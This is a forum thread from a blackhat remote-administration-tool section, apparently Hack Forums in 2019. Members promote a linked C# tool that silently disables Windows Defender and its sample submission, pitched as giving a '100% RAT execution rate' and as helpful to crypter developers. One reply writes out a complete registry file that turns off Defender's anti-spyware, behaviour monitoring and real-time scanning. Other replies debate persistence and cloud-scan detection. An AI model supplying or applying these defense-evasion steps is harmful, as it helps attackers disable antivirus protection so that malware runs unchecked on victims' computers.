[Bypass] Disable Windows Defender at runtime

[Bypass] Disable Windows Defender at runtime - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Blackhat • Red Team • Offensive Security (https://hackforums.net/forumdisplay.php?fid=447)
+---- Forum: Remote Administration Tools (https://hackforums.net/forumdisplay.php?fid=114)
+---- Thread: [Bypass] Disable Windows Defender at runtime (/showthread.php?tid=5963145)

Pages: Pages 1 2 3 4 5 6 7

[Bypass] Disable Windows Defender at runtime - NYANxCAT - Apr 23, 2019

I saw many members complaining about WD detection and yes, WD is very aggressive and stupid.

This method will permanently disable wd + wd samples submission without PC reboot or notification (immediate effect)

I wrote it using C# but you can convert it to any language.

Video

Download
github.com/NYAN-x-CAT/Disable-Windows-Defender

RE: Disable WD at runtime = 100% RAT execution rate - asdox - Apr 23, 2019

Great shit Nyan!
Is there an easy way to re-enable it again?

RE: Disable WD at runtime = 100% RAT execution rate - NYANxCAT - Apr 23, 2019

(Apr 23, 2019 04:10 AM)asdox Wrote: Great shit Nyan!
Is there an easy way to re-enable it again?

Sure, change values from true to false. I hope this will be helpful for crypters developers.

[Image: 1aTjjFo.png]

RE: Disable WD at runtime = 100% RAT execution rate - QU⚡CKSILVER - Apr 23, 2019

So this is basically Windows Defender tampering via Powershell, right?

RE: Disable WD at runtime = 100% RAT execution rate - Nosfir - Apr 23, 2019

I’m almost positive this won’t work a large chunk of the time.. this is not by any means some new tactic, and WD will re-enable itself after system reboot

RE: Disable WD at runtime = 100% RAT execution rate - QU⚡CKSILVER - Apr 23, 2019

(Apr 23, 2019 05:17 AM)Nosfir Wrote: I’m almost positive this won’t work a large chunk of the time.. this is not by any means some new tactic, and WD will re-enable itself after system reboot

It can be permanently disabled via the Registry
Nyan should include this:

Code 
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender]

 "DisableAntiSpyware"=dword:00000001

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection]

 "DisableBehaviorMonitoring"=dword:00000001

 "DisableOnAccessProtection"=dword:00000001

 "DisableScanOnRealtimeEnable"=dword:00000001

RE: Disable WD at runtime = 100% RAT execution rate - NYANxCAT - Apr 23, 2019

(Apr 23, 2019 04:24 AM)QU⚡CKSILVER Wrote: So this is basically Windows Defender tampering via Powershell, right?

Yes

(Apr 23, 2019 05:17 AM)Nosfir Wrote: I’m almost positive this won’t work a large chunk of the time.. this is not by any means some new tactic, and WD will re-enable itself after system reboot

You didn't understand my thread. This will prevent WD from scanning files [without] restart the PC and without notification... it's a silent code.
WD will not re-enable itself. you should try it first. or at least compare it to other methods.

(Apr 23, 2019 05:21 AM)QU⚡CKSILVER Wrote: It can be permanently disabled via the Registry
Nyan should include this:

Code
Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender] "DisableAntiSpyware"=dword:00000001 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection] "DisableBehaviorMonitoring"=dword:00000001 "DisableOnAccessProtection"=dword:00000001 "DisableScanOnRealtimeEnable"=dword:00000001

Ok. Try your code then run any malware.
Then
try my code and run the same malware again.

if you do this you will understand this thread.

RE: Disable WD at runtime = 100% RAT execution rate - Nosfir - Apr 23, 2019

I have tested this WD will re enable itself

This is no new method it’s quite old

RE: Disable WD at runtime = 100% RAT execution rate - QU⚡CKSILVER - Apr 23, 2019

(Apr 23, 2019 05:22 AM)˗ˏˋ NYAN CAT ˎˊ˗ Wrote: Yes

You didn't understand my thread. This will prevent WD from scanning files [without] restart the PC and without notification... it's a silent code.
WD will not re-enable itself. you should try it first. or at least compare it to other methods.

Ok. Try your code then run any malware.
Then
try my code and run the same malware again.

if you do this you will understand this thread.

I get it, your version disables it permanently, never said it didn't. But it's always good to set the registry parameters to ensure it will never enable itself again.

RE: Disable WD at runtime = 100% RAT execution rate - NYANxCAT - Apr 23, 2019

(Apr 23, 2019 05:41 AM)Nosfir Wrote: I have tested this WD will re enable itself

This is no new method it’s quite old

It should not re-enable WD. BUT you can also add this method to your payload.
VIDEO => https://www.youtube.com/watch?v=Wh6O9pwY40U
I didn't say it's new. I said this method will disable wd without restarting the pc and without notification. that's all.

(Apr 23, 2019 05:46 AM)QU⚡CKSILVER Wrote: I get it, your version disables it permanently, never said it didn't. But it's always good to set the registry parameters to ensure it will never enable itself again.

I feel so sad now 😭. you didn't read my code.

1- http://prntscr.com/nfrnvq
2- http://prntscr.com/nfrorq

RE: Disable WD at runtime = 100% RAT execution rate - Alpha_Coder - Apr 23, 2019

Nice project, i like ur projects, and i have a project if u can help me with it, its about CODEDOM, and i can pay for it.

RE: Disable WD at runtime = 100% RAT execution rate - QU⚡CKSILVER - Apr 23, 2019

(Apr 23, 2019 05:57 AM)˗ˏˋ NYAN CAT ˎˊ˗ Wrote: I feel so sad now 😭. you didn't read my code.

My bad, now I just realized your code does change the registry 😏
Well then, awesome 🎉

The only way Microsoft could circumvent this from happening would be to disable settings modification via Powershell.

RE: Disable WD at runtime = 100% RAT execution rate - Cyber Coder - Apr 23, 2019

good, now, after you build your program in the main windows, use a browser to download it into the vm simulating a real world scenario instead of drag&drop,make sure defender is up and running including the cloud scan , try this 2-3 times and see what happens

RE: Disable WD at runtime = 100% RAT execution rate - NYANxCAT - Apr 23, 2019

(Apr 23, 2019 09:31 AM)Cyber Coder Wrote: good, now, after you build your program in the main windows, use a browser to download it into the vm simulating a real world scenario instead of drag&drop,make sure defender is up and running including the cloud scan , try this 2-3 times and see what happens

Ok

EDIT: btw there are no 2-3times, once it executed WD will be gone... that's the point of this thread you know...

RE: Disable WD at runtime = 100% RAT execution rate - Cyber Coder - Apr 23, 2019

(Apr 23, 2019 10:09 AM)˗ˏˋ NYAN CAT ˎˊ˗ Wrote: Ok

EDIT: btw there are no 2-3times, once it executed WD will be gone... that's the point of this thread you know...

i said 2-3 times because wd cloud scan sometimes glitches
according to my test you will get detected before even having the chance to execute your file to disable it but who knows, maybe they changed some policies , i did this tests half a year ago
let me know the honest results, i'm curious